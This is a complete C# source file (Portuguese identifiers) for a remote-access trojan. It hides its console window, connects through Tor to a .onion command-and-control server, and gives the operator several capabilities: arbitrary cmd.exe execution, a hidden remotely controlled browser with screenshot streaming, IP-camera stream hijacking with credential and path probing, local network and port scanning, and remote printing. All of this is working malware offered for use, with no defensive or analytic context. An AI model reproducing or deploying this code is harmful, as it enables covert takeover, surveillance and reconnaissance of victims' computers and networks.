using System; using System.IO; using System.Net; using System.Net.Http; using System.Net.NetworkInformation; using System.Net.Sockets; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Diagnostics; using System.Runtime.InteropServices; using System.Collections.Generic; using System.Linq; using PuppeteerSharp; using PuppeteerSharp.Input; using System.Text.Json; using System.Drawing.Printing; using System.ComponentModel;
public class Agente { private const string EnderecoProxyTor = "127.0.0.1"; private const int PortaProxyTor = 9050; private const string HostOnion = "dominio.onion"; private const int PortaOnion = 4444; private const int AtrasoReconexao = 15000;
private static volatile bool isLongRunningSessionActive = false; private static CancellationTokenSource sessionTokenSource; private static IPage paginaNavegador; private static IBrowser navegador;
[DllImport("kernel32.dll")] private static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); private const int SW_OCULTAR = 0;
public class DispositivoDeRede { public string IP { get; set; } public string MAC { get; set; } public string Manufacturer { get; set; } public string Type { get; set; } }
public class RespostaScan { public string type { get; set; } = "network_scan"; public List<DispositivoDeRede> devices { get; set; } }
public class RespostaImpressoras { public string type { get; set; } = "printer_list"; public List<string> printers { get; set; } }
public void ExecutarCiclo() { ShowWindow(GetConsoleWindow(), SW_OCULTAR); while (true) { try { using (var cliente = new TcpClient()) { cliente.Connect(EnderecoProxyTor, PortaProxyTor); using (var stream = cliente.GetStream()) { RealizarHandshakeSocks(stream, HostOnion, PortaOnion); ProcessarFluxoDeDados(stream); } } } catch { } finally { sessionTokenSource?.Cancel(); isLongRunningSessionActive = false; } Thread.Sleep(AtrasoReconexao); } }
private void LerBytesExatos(NetworkStream stream, byte[] buffer, int bytesParaLer) { int totalBytesLidos = 0; while (totalBytesLidos < bytesParaLer) { int bytesLidos = stream.Read(buffer, totalBytesLidos, bytesParaLer - totalBytesLidos); if (bytesLidos == 0) throw new EndOfStreamException("Conexão fechada pelo C2."); totalBytesLidos += bytesLidos; } }
private void RealizarHandshakeSocks(NetworkStream stream, string host, int porta) { stream.Write(new byte[] { 0x05, 0x01, 0x00 }, 0, 3); var respostaAuth = new byte[2]; LerBytesExatos(stream, respostaAuth, 2); if (respostaAuth[1] != 0x00) throw new Exception("Falha na autenticação SOCKS.");
var hostBytes = Encoding.ASCII.GetBytes(host); var requisicao = new List<byte> { 0x05, 0x01, 0x00, 0x03, (byte)hostBytes.Length }; requisicao.AddRange(hostBytes); requisicao.Add((byte)(porta >> 8)); requisicao.Add((byte)(porta & 0xFF)); stream.Write(requisicao.ToArray(), 0, requisicao.Count);
var respostaConexao = new byte[10]; LerBytesExatos(stream, respostaConexao, 10); if (respostaConexao[1] != 0x00) throw new Exception($"Falha na conexão SOCKS: código {respostaConexao[1]}"); }
private void ProcessarFluxoDeDados(NetworkStream stream) { while (true) { try { var cabecalhoBuffer = new byte[5]; LerBytesExatos(stream, cabecalhoBuffer, 5); int tamanhoMensagem = BitConverter.ToInt32(cabecalhoBuffer, 1); var dadosBuffer = new byte[tamanhoMensagem]; LerBytesExatos(stream, dadosBuffer, tamanhoMensagem); string comando = Encoding.UTF8.GetString(dadosBuffer).Trim(); bool isInteractionCommand = comando.StartsWith("CLICK:") || comando.StartsWith("TYPE:") || comando.StartsWith("KEY_PRESS:") || comando.StartsWith("SCROLL:");
if (isInteractionCommand && isLongRunningSessionActive) { _ = ProcessarComandoInteracao(comando); } else if (comando.Equals("fecharpagina", StringComparison.OrdinalIgnoreCase)) { sessionTokenSource?.Cancel(); } else if (comando.StartsWith("netcattestnav:") || comando.StartsWith("netcattestcamera:")) { if (isLongRunningSessionActive) { EnviarMensagem(stream, 0x01, "[!] Já existe uma sessão principal (câmera/navegação) ativa. Use 'fecharpagina' para encerrá-la.").Wait(); } else { isLongRunningSessionActive = true; sessionTokenSource = new CancellationTokenSource(); if (comando.StartsWith("netcattestnav:")) { var url = comando.Substring("netcattestnav:".Length).Trim(); if (!url.StartsWith("http://") && !url.StartsWith("https://")) url = "http://" + url; Task.Run(() => IniciarSessaoNavegador(url, stream, sessionTokenSource.Token)); } else { Task.Run(() => IniciarCapturaCamera(comando, stream, sessionTokenSource.Token)); } } } else if (comando.Equals("netcattest -h", StringComparison.OrdinalIgnoreCase)) { Task.Run(() => EnviarAjuda(stream)); } else if (comando.StartsWith("netcattestscan", StringComparison.OrdinalIgnoreCase)) { Task.Run(() => EscanearRedeLocal(stream)); } else if (comando.StartsWith("netcattestportas:", StringComparison.OrdinalIgnoreCase)) { var payload = comando.Substring("netcattestportas:".Length).Trim(); Task.Run(() => VerificarPorta(payload, stream)); } else if (comando.StartsWith("netcattestimpressoras", StringComparison.OrdinalIgnoreCase)) { Task.Run(() => ListarImpressoras(stream)); } else if (comando.StartsWith("netcattestimprimir:", StringComparison.OrdinalIgnoreCase)) { Task.Run(() => IniciarImpressao(comando, stream)); } else { ExecutarComandoShell(comando, stream); } } catch { break; } } } private async Task ProcessarComandoInteracao(string comando) { if (paginaNavegador != null) { try { if (comando.StartsWith("CLICK:", StringComparison.OrdinalIgnoreCase)) { var partes = comando.Substring("CLICK:".Length).Split(','); if (partes.Length == 2 && int.TryParse(partes[0], out int x) && int.TryParse(partes[1], out int y)) await paginaNavegador.Mouse.ClickAsync(x, y); } else if (comando.StartsWith("TYPE:", StringComparison.OrdinalIgnoreCase)) { await paginaNavegador.Keyboard.TypeAsync(comando.Substring("TYPE:".Length), new TypeOptions { Delay = 10 }); } else if (comando.StartsWith("KEY_PRESS:", StringComparison.OrdinalIgnoreCase)) { await paginaNavegador.Keyboard.PressAsync(comando.Substring("KEY_PRESS:".Length)); } else if (comando.StartsWith("SCROLL:", StringComparison.OrdinalIgnoreCase)) { if (int.TryParse(comando.Substring("SCROLL:".Length), out int delta)) await paginaNavegador.EvaluateExpressionAsync($"window.scrollBy(0, {delta})"); } } catch { } } }
private async Task EnviarMensagem(NetworkStream stream, byte tipo, string texto) { if (string.IsNullOrEmpty(texto)) return; byte[] dados = Encoding.UTF8.GetBytes(texto); await EnviarPayload(stream, tipo, dados); }
private async Task EnviarPayload(NetworkStream stream, byte tipo, byte[] dados) { try { if (stream == null || !stream.CanWrite || dados == null || dados.Length == 0) return; byte[] tamanho = BitConverter.GetBytes(dados.Length); var mensagemCompleta = new byte[5 + dados.Length]; mensagemCompleta[0] = tipo; Buffer.BlockCopy(tamanho, 0, mensagemCompleta, 1, 4); Buffer.BlockCopy(dados, 0, mensagemCompleta, 5, dados.Length); await stream.WriteAsync(mensagemCompleta, 0, mensagemCompleta.Length); } catch { } }
private string EncontrarExecutavel(string[] nomes, Environment.SpecialFolder[] pastasBase) { var caminhosEspecificos = new List<string> { Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Adobe", "Acrobat DC", "Acrobat"), Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Adobe", "Acrobat DC", "Acrobat"), Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Adobe", "Acrobat Reader DC", "Reader"), Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Adobe", "Acrobat Reader DC", "Reader"), Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Adobe", "Reader 11.0", "Reader"), Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Adobe", "Reader 11.0", "Reader") };
foreach (var caminho in caminhosEspecificos) { foreach (var nome in nomes) { string caminhoCompleto = Path.Combine(caminho, nome); if (File.Exists(caminhoCompleto)) { return caminhoCompleto; } } }
var caminhosBuscaAmpla = new List<string>(); foreach (var pasta in pastasBase) { string caminhoPasta = Environment.GetFolderPath(pasta); if (!string.IsNullOrEmpty(caminhoPasta)) { caminhosBuscaAmpla.Add(caminhoPasta); } }
foreach (var caminhoBase in caminhosBuscaAmpla.Where(d => !string.IsNullOrEmpty(d) && Directory.Exists(d))) { foreach (var nome in nomes) { try { var arquivos = Directory.GetFiles(caminhoBase, nome, SearchOption.AllDirectories); if (arquivos.Length > 0) { return arquivos.OrderByDescending(f => new FileInfo(f).LastWriteTime).FirstOrDefault(); } } catch (UnauthorizedAccessException) { } } } return null; }
private async Task IniciarSessaoNavegador(string url, NetworkStream stream, CancellationToken token) { try { await EnviarMensagem(stream, 0x01, "[+] Procurando instalação de navegador (Chrome/Edge)..."); string caminhoNavegador = EncontrarExecutavel( new[] { "chrome.exe", "msedge.exe" }, new[] { Environment.SpecialFolder.ProgramFiles, Environment.SpecialFolder.ProgramFilesX86, Environment.SpecialFolder.LocalApplicationData } ); if (string.IsNullOrEmpty(caminhoNavegador)) { await EnviarMensagem(stream, 0x01, "[!] Nenhum navegador compatível (Chrome/Edge) foi encontrado."); isLongRunningSessionActive = false; return; } await EnviarMensagem(stream, 0x01, $"[+] Usando navegador em: {caminhoNavegador}");
navegador = await Puppeteer.LaunchAsync(new LaunchOptions { Headless = true, ExecutablePath = caminhoNavegador, Args = new[] { "--no-sandbox", "--disable-gpu", "--ignore-certificate-errors" } }); paginaNavegador = await navegador.NewPageAsync(); await paginaNavegador.SetViewportAsync(new ViewPortOptions { Width = 1280, Height = 720 }); await EnviarMensagem(stream, 0x01, $"[+] Navegando para: {url}"); await paginaNavegador.GoToAsync(url, new NavigationOptions { WaitUntil = new[] { WaitUntilNavigation.Networkidle2 }, Timeout = 30000 }); _ = TransmitirTela(stream, token); await Task.Delay(Timeout.Infinite, token); } catch(OperationCanceledException) {} catch (Exception ex) { await EnviarMensagem(stream, 0x01, $"[!] Erro na sessão de navegação: {ex.Message}"); } finally { if (navegador != null) await navegador.CloseAsync(); isLongRunningSessionActive = false; paginaNavegador = null; await EnviarMensagem(stream, 0x01, "[+] Sessão de navegação encerrada."); } }
private async Task TransmitirTela(NetworkStream stream, CancellationToken token) { while (!token.IsCancellationRequested) { try { var dadosScreenshot = await paginaNavegador.ScreenshotDataAsync(new ScreenshotOptions { Type = ScreenshotType.Jpeg, Quality = 80 }); await EnviarPayload(stream, 0x02, dadosScreenshot); await Task.Delay(100, token); } catch (Exception) { break; } } }
private async Task IniciarCapturaCamera(string comando, NetworkStream stream, CancellationToken token) { try { string[] partes = comando.Substring("netcattestcamera:".Length).Split(new[] { ':' }, 4); if (partes.Length < 3) { await EnviarMensagem(stream, 0x01, "[!] Formato de comando de câmera inválido. Use: usuario:senha:IP[:/caminho]"); return; }
string usuario = partes[0]; string senha = partes[1]; string ip = partes[2]; string caminhoEspecifico = partes.Length > 3 ? partes[3] : "";
var caminhosParaTestar = new List<string>(); if (!string.IsNullOrEmpty(caminhoEspecifico)) caminhosParaTestar.Add(caminhoEspecifico); else caminhosParaTestar.AddRange(new List<string> { "/mjpg/video.mjpg", "/video.cgi", "/videostream.cgi", "/stream.mjpg", "/mjpeg.cgi", "/video.mjpg", "/cam/realmonitor?channel=1&subtype=0", "/axis-cgi/mjpg/video.cgi" });
var client = new HttpClient(new HttpClientHandler { Credentials = new NetworkCredential(usuario, senha), PreAuthenticate = true }); client.Timeout = TimeSpan.FromSeconds(10);
bool sucesso = false; foreach (var caminho in caminhosParaTestar) { if (token.IsCancellationRequested) break; string url = $"http://{ip}{caminho}"; await EnviarMensagem(stream, 0x01, $"[+] Tentando câmera em: {url}");
try { var response = await client.GetAsync(url, HttpCompletionOption.ResponseHeadersRead, token); if (response.IsSuccessStatusCode && response.Content.Headers.ContentType?.MediaType == "multipart/x-mixed-replace") { await EnviarMensagem(stream, 0x01, $"[+] Conexão bem-sucedida! Iniciando stream..."); await TransmitirStreamMJPEG(stream, response, token); sucesso = true; break; } else await EnviarMensagem(stream, 0x01, $"[-] Falhou: Status {response.StatusCode}, ContentType {response.Content.Headers.ContentType?.MediaType}"); } catch (Exception ex) { await EnviarMensagem(stream, 0x01, $"[!] Falha ao conectar: {ex.Message}"); } }
if (!sucesso && !token.IsCancellationRequested) { await EnviarMensagem(stream, 0x01, "[!] Não foi possível conectar a nenhum caminho de câmera conhecido."); } } catch (Exception ex) { await EnviarMensagem(stream, 0x01, $"[!] Erro crítico na captura de câmera: {ex.Message}"); } finally { isLongRunningSessionActive = false; await EnviarMensagem(stream, 0x01, "[+] Sessão de câmera encerrada."); } }
private async Task TransmitirStreamMJPEG(NetworkStream c2Stream, HttpResponseMessage camResponse, CancellationToken token) { var boundary = camResponse.Content.Headers.ContentType.Parameters.FirstOrDefault(p => p.Name.Equals("boundary", StringComparison.OrdinalIgnoreCase))?.Value.Trim('"'); if (string.IsNullOrEmpty(boundary)) throw new Exception("Boundary do MJPEG não encontrado no cabeçalho Content-Type."); byte[] boundaryBytes = Encoding.UTF8.GetBytes("--" + boundary); using (var streamCamera = await camResponse.Content.ReadAsStreamAsync()) { while (!token.IsCancellationRequested) { try { byte[] frameData = await ReadNextFrameAsync(streamCamera, boundaryBytes, token); if (frameData.Length > 0) await EnviarPayload(c2Stream, 0x02, frameData); else await Task.Delay(100, token); } catch (OperationCanceledException) { break; } catch (Exception) { break; } } } }
private async Task<byte[]> ReadNextFrameAsync(Stream stream, byte[] boundaryBytes, CancellationToken token) { using (var memoryStream = new MemoryStream()) { int contentLength = 0; string line; while (!string.IsNullOrEmpty(line = await ReadLineAsync(stream, token)) && !line.Contains(Encoding.UTF8.GetString(boundaryBytes))) { } while (!string.IsNullOrEmpty(line = await ReadLineAsync(stream, token))) { if (line.StartsWith("Content-Length:", StringComparison.OrdinalIgnoreCase)) { int.TryParse(line.Substring("Content-Length:".Length).Trim(), out contentLength); } }
if (contentLength > 0) { var buffer = new byte[contentLength]; int totalRead = 0; while (totalRead < contentLength) { int read = await stream.ReadAsync(buffer, totalRead, contentLength - totalRead, token); if (read == 0) throw new EndOfStreamException("Stream da câmera fechado inesperadamente."); totalRead += read; } return buffer; } return new byte[0]; } } private async Task<string> ReadLineAsync(Stream stream, CancellationToken token) { var sb = new StringBuilder(); while (true) { int b = stream.ReadByte(); if (b == -1) break; token.ThrowIfCancellationRequested(); char c = (char)b; if (c == '\n') break; if (c != '\r') sb.Append(c); } return sb.ToString(); }
private async Task EscanearRedeLocal(NetworkStream stream) { await EnviarMensagem(stream, 0x01, "[+] Iniciando escaneamento avançado da rede local..."); var dispositivos = new List<DispositivoDeRede>(); try { var tasks = new List<Task>(); foreach (var ni in NetworkInterface.GetAllNetworkInterfaces()) { if (ni.OperationalStatus == OperationalStatus.Up && ni.NetworkInterfaceType != NetworkInterfaceType.Loopback) { foreach (var ipInfo in ni.GetIPProperties().UnicastAddresses) { if (ipInfo.Address.AddressFamily == AddressFamily.InterNetwork) { tasks.Add(EscanearSubRede(ipInfo, stream, dispositivos)); } } } } await Task.WhenAll(tasks); } catch (Exception ex) { await EnviarMensagem(stream, 0x01, $"[!] Erro durante o escaneamento: {ex.Message}"); } var resposta = new RespostaScan { devices = dispositivos }; string jsonResposta = JsonSerializer.Serialize(resposta); await EnviarMensagem(stream, 0x01, jsonResposta); }
private async Task EscanearSubRede(UnicastIPAddressInformation ipInfo, NetworkStream stream, List<DispositivoDeRede> dispositivos) { await EnviarMensagem(stream, 0x01, $"[+] Escaneando sub-rede de {ipInfo.Address}..."); var ip = ipInfo.Address; var mask = ipInfo.IPv4Mask; var ipBytes = ip.GetAddressBytes(); var maskBytes = mask.GetAddressBytes(); var startIpBytes = new byte[4]; var endIpBytes = new byte[4]; for (int i = 0; i < 4; i++) { startIpBytes[i] = (byte)(ipBytes[i] & maskBytes[i]); endIpBytes[i] = (byte)(ipBytes[i] | ~maskBytes[i]); } var pingTasks = new List<Task>(); for (uint i = BitConverter.ToUInt32(startIpBytes.Reverse().ToArray(), 0) + 1; i < BitConverter.ToUInt32(endIpBytes.Reverse().ToArray(), 0); i++) { var targetIp = new IPAddress(BitConverter.GetBytes(i).Reverse().ToArray()); pingTasks.Add(new Ping().SendPingAsync(targetIp, 1000)); } await Task.WhenAll(pingTasks); await Task.Delay(3000); string saidaArp = ExecutarComandoLocal("arp", "-a"); var macVendors = new Dictionary<string, string> { {"00:0C:29", "VMware"}, {"00:50:56", "VMware"}, {"00:05:69", "VMware"}, {"B8:27:EB", "Raspberry Pi"}, {"DC:A6:32", "Raspberry Pi"}, {"08:00:27", "VirtualBox"} }; foreach(var linha in saidaArp.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries)) { var partes = linha.Trim().Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries); if (partes.Length >= 2 && IPAddress.TryParse(partes[0], out IPAddress devIpAddr)) { if (devIpAddr.AddressFamily != AddressFamily.InterNetwork || devIpAddr.Equals(IPAddress.Broadcast) || (devIpAddr.GetAddressBytes()[0] >= 224)) continue; string devIp = partes[0].Trim(); string devMac = partes[1].Trim().ToUpper().Replace('-',':'); string macPrefix = devMac.Length > 8 ? devMac.Substring(0, 8) : ""; string vendor = macVendors.ContainsKey(macPrefix) ? macVendors[macPrefix] : "Desconhecido"; var device = new DispositivoDeRede { IP = devIp, MAC = devMac, Manufacturer = vendor, Type = "Desconhecido" }; lock(dispositivos) { if(!dispositivos.Any(d => d.IP == devIp)) dispositivos.Add(device); } } } }
private async Task VerificarPorta(string alvo, NetworkStream stream) { string[] partes = alvo.Split(':'); if (partes.Length != 2 || !IPAddress.TryParse(partes[0], out _) || !int.TryParse(partes[1], out int porta)) { await EnviarMensagem(stream, 0x01, $"[!] Formato inválido. Use: IP:Porta. Recebido: {alvo}"); return; } string ip = partes[0]; await EnviarMensagem(stream, 0x01, $"[+] Verificando {ip}:{porta}..."); try { using (var clientePorta = new TcpClient()) { var task = clientePorta.ConnectAsync(ip, porta); if (await Task.WhenAny(task, Task.Delay(2000)) == task && !task.IsFaulted) { await EnviarMensagem(stream, 0x01, $"[+] Resultado: A porta {porta} em {ip} está ABERTA."); } else { await EnviarMensagem(stream, 0x01, $"[-] Resultado: A porta {porta} em {ip} está FECHADA ou sem resposta."); } } } catch (Exception) { await EnviarMensagem(stream, 0x01, $"[-] Resultado: A porta {porta} em {ip} está FECHADA ou sem resposta."); } }
private async Task IniciarImpressao(string comando, NetworkStream stream) { string tempFilePath = null; try { var partes = comando.Substring("netcattestimprimir:".Length).Split(new[] { ':' }, 4); if (partes.Length < 4) { await EnviarMensagem(stream, 0x01, "[!] Comando de impressão inválido."); return; } string metodo = partes[0]; string nomeImpressora = partes[1]; string nomeTrabalho = partes[2]; string dadosBase64 = partes[3]; byte[] arquivoBytes; try { arquivoBytes = Convert.FromBase64String(dadosBase64); } catch (FormatException) { await EnviarMensagem(stream, 0x01, "[!] Erro: Os dados do arquivo recebido não estão em formato Base64 válido."); return; } bool isPdf = arquivoBytes.Length > 4 && Encoding.ASCII.GetString(arquivoBytes, 0, 4) == "%PDF"; await EnviarMensagem(stream, 0x01, $"[+] Enviando para '{nomeImpressora}' via '{metodo}'..."); if (metodo.Equals("acrobat", StringComparison.OrdinalIgnoreCase)) { if (!isPdf) { await EnviarMensagem(stream, 0x01, "[!] ERRO: O método 'acrobat' só pode ser usado para arquivos PDF."); return; }
string executavelPath = EncontrarExecutavel( new[] { "Acrobat.exe", "AcroRd32.exe" }, new[] { Environment.SpecialFolder.ProgramFiles, Environment.SpecialFolder.ProgramFilesX86 } );
if (string.IsNullOrEmpty(executavelPath)) { await EnviarMensagem(stream, 0x01, "[!] Adobe Acrobat/Reader não encontrado. A busca foi realizada em caminhos padrão e Program Files."); return; } string nomeArquivoSeguro = new string(nomeTrabalho.Where(c => !Path.GetInvalidFileNameChars().Contains(c)).ToArray()).Trim(); if (string.IsNullOrWhiteSpace(nomeArquivoSeguro)) { nomeArquivoSeguro = "ImpressaoRemota"; } tempFilePath = Path.Combine(Path.GetTempPath(), nomeArquivoSeguro + ".pdf"); await File.WriteAllBytesAsync(tempFilePath, arquivoBytes);
await EnviarMensagem(stream, 0x01, $"[+] Usando: {executavelPath}"); await EnviarMensagem(stream, 0x01, "[AVISO] O nome na fila de impressão é definido pelo título de metadados do PDF, o que pode diferir do nome do trabalho fornecido.");
string argumentos = $"/t \"{tempFilePath}\" \"{nomeImpressora}\""; var psi = new ProcessStartInfo(executavelPath, argumentos) { CreateNoWindow = true, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }; using (var processo = Process.Start(psi)) { if (processo != null) { await EnviarMensagem(stream, 0x01, "[+] Comando de impressão enviado ao Acrobat. Aguardando o processo ser finalizado (timeout: 60s)..."); bool processoFinalizado = processo.WaitForExit(60000); if (processoFinalizado) { await EnviarMensagem(stream, 0x01, "[+] O processo de impressão foi concluído."); } else { try { if (!processo.HasExited) processo.Kill(); } catch {} await EnviarMensagem(stream, 0x01, "[AVISO] O processo do Acrobat não finalizou no tempo esperado e foi forçado a fechar. A impressão pode estar em andamento."); } } else { await EnviarMensagem(stream, 0x01, "[!] Falha ao iniciar o processo do Acrobat."); } } } else if (metodo.Equals("raw", StringComparison.OrdinalIgnoreCase)) { if (isPdf) { await EnviarMensagem(stream, 0x01, "[!] ERRO: O método 'raw' não pode ser usado para imprimir arquivos PDF. Use o método 'acrobat'. Impressão cancelada."); return; } await EnviarMensagem(stream, 0x01, "[AVISO] O modo RAW enviará os dados diretamente. O arquivo deve estar em um formato que a impressora entenda (PCL, PRN, etc)."); if (RawPrinterHelper.SendBytesToPrinter(nomeImpressora, arquivoBytes, nomeTrabalho)) { await EnviarMensagem(stream, 0x01, "[+] Arquivo enviado para a fila de impressão (RAW) com sucesso!"); } else { await EnviarMensagem(stream, 0x01, $"[!] Falha ao enviar para a fila de impressão (RAW). Erro do sistema: {new Win32Exception(Marshal.GetLastWin32Error()).Message}"); } } else { await EnviarMensagem(stream, 0x01, $"[!] Método de impressão '{metodo}' desconhecido."); } } catch (Exception ex) { await EnviarMensagem(stream, 0x01, $"[!] Erro ao imprimir: {ex.Message}"); } finally { if (tempFilePath != null && File.Exists(tempFilePath)) { try { File.Delete(tempFilePath); } catch { } } } }
private async Task ListarImpressoras(NetworkStream stream) { try { var printerNames = new List<string>(); foreach (string printer in PrinterSettings.InstalledPrinters) { printerNames.Add(printer); } var response = new RespostaImpressoras { printers = printerNames }; string jsonResponse = JsonSerializer.Serialize(response); await EnviarMensagem(stream, 0x01, jsonResponse); } catch (Exception ex) { await EnviarMensagem(stream, 0x01, $"[!] Erro ao listar impressoras: {ex.Message}"); } } private async Task EnviarAjuda(NetworkStream stream) { var sb = new StringBuilder(); sb.AppendLine("--- Menu de Ajuda ---"); sb.AppendLine("netcattest -h -> Mostra este menu de ajuda."); sb.AppendLine("netcattestnav:<URL> -> Inicia navegação remota para a URL."); sb.AppendLine("netcattestscan -> Escaneia a rede local em busca de dispositivos."); sb.AppendLine("netcattestportas:<IP>:<PORTA> -> Verifica se uma porta específica está aberta."); sb.AppendLine("netcattestcamera:<USU>:<SEN>:<IP>[:/PTH] -> Conecta a um stream de câmera."); sb.AppendLine("netcattestimpressoras -> Lista as impressoras instaladas no alvo."); sb.AppendLine("netcattestimprimir:<METODO>:<NOME>:<JOB>:<B64> -> Imprime um arquivo (metodos: acrobat, raw)."); sb.AppendLine("fecharpagina -> Encerra a sessão de navegação ou câmera."); sb.AppendLine("Qualquer outro comando -> Executa diretamente no shell (cmd.exe)."); sb.AppendLine("---------------------"); await EnviarMensagem(stream, 0x01, sb.ToString()); }
private string ExecutarComandoLocal(string nomeArquivo, string argumentos) { try { var infoProcesso = new ProcessStartInfo(nomeArquivo, argumentos) { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false, CreateNoWindow = true, StandardOutputEncoding = Encoding.GetEncoding(850), StandardErrorEncoding = Encoding.GetEncoding(850) }; using (var processo = Process.Start(infoProcesso)) { string saida = processo.StandardOutput.ReadToEnd(); string erro = processo.StandardError.ReadToEnd(); processo.WaitForExit(10000); return saida + erro; } } catch (Exception) { try { var infoProcesso = new ProcessStartInfo(nomeArquivo, argumentos) { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false, CreateNoWindow = true }; using (var processo = Process.Start(infoProcesso)) { string saida = processo.StandardOutput.ReadToEnd(); string erro = processo.StandardError.ReadToEnd(); processo.WaitForExit(10000); return saida + erro; } } catch (Exception ex) { return $"Falha ao executar comando local: {ex.Message}"; } } }
private void ExecutarComandoShell(string comando, NetworkStream stream) { string saidaComando = ExecutarComandoLocal("cmd.exe", "/c " + comando); if (string.IsNullOrWhiteSpace(saidaComando)) { saidaComando = "Comando executado sem saída ou com erro."; } EnviarMensagem(stream, 0x01, saidaComando.Trim()).Wait(); } public static void Main(string[] args) { Encoding.RegisterProvider(CodePagesEncodingProvider.Instance); new Agente().ExecutarCiclo(); } }
public class RawPrinterHelper { [DllImport("winspool.Drv", EntryPoint = "OpenPrinterA", SetLastError = true, CharSet = CharSet.Ansi, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] private static extern bool OpenPrinter([MarshalAs(UnmanagedType.LPStr)] string szPrinter, out IntPtr hPrinter, IntPtr pd);
[DllImport("winspool.Drv", EntryPoint = "ClosePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] private static extern bool ClosePrinter(IntPtr hPrinter);
[DllImport("winspool.Drv", EntryPoint = "StartDocPrinterA", SetLastError = true, CharSet = CharSet.Ansi, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] private static extern bool StartDocPrinter(IntPtr hPrinter, int level, [In, MarshalAs(UnmanagedType.LPStruct)] DOCINFOA di);
[DllImport("winspool.Drv", EntryPoint = "EndDocPrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] private static extern bool EndDocPrinter(IntPtr hPrinter);
[DllImport("winspool.Drv", EntryPoint = "StartPagePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] private static extern bool StartPagePrinter(IntPtr hPrinter);
[DllImport("winspool.Drv", EntryPoint = "EndPagePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] private static extern bool EndPagePrinter(IntPtr hPrinter);
[DllImport("winspool.Drv", EntryPoint = "WritePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] private static extern bool WritePrinter(IntPtr hPrinter, IntPtr pBytes, int dwCount, out int dwWritten);
public static bool SendBytesToPrinter(string szPrinterName, byte[] pBytes, string szDocName) { IntPtr hPrinter = IntPtr.Zero; bool success = false; if (pBytes == null || pBytes.Length == 0) return true;
var di = new DOCINFOA { pDocName = szDocName, pDataType = "RAW" };
IntPtr pUnmanagedBytes = Marshal.AllocHGlobal(pBytes.Length); try { Marshal.Copy(pBytes, 0, pUnmanagedBytes, pBytes.Length);
if (OpenPrinter(szPrinterName.Normalize(), out hPrinter, IntPtr.Zero)) { if (StartDocPrinter(hPrinter, 1, di)) { if (StartPagePrinter(hPrinter)) { success = WritePrinter(hPrinter, pUnmanagedBytes, pBytes.Length, out int dwWritten); EndPagePrinter(hPrinter); } EndDocPrinter(hPrinter); } } } catch { success = false; } finally { Marshal.FreeHGlobal(pUnmanagedBytes); if (hPrinter != IntPtr.Zero) { ClosePrinter(hPrinter); } } if (!success) { Marshal.GetLastWin32Error(); } return success; }
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] private class DOCINFOA { [MarshalAs(UnmanagedType.LPStr)] public string pDocName; [MarshalAs(UnmanagedType.LPStr)] public string pOutputFile; [MarshalAs(UnmanagedType.LPStr)] public string pDataType; } }
|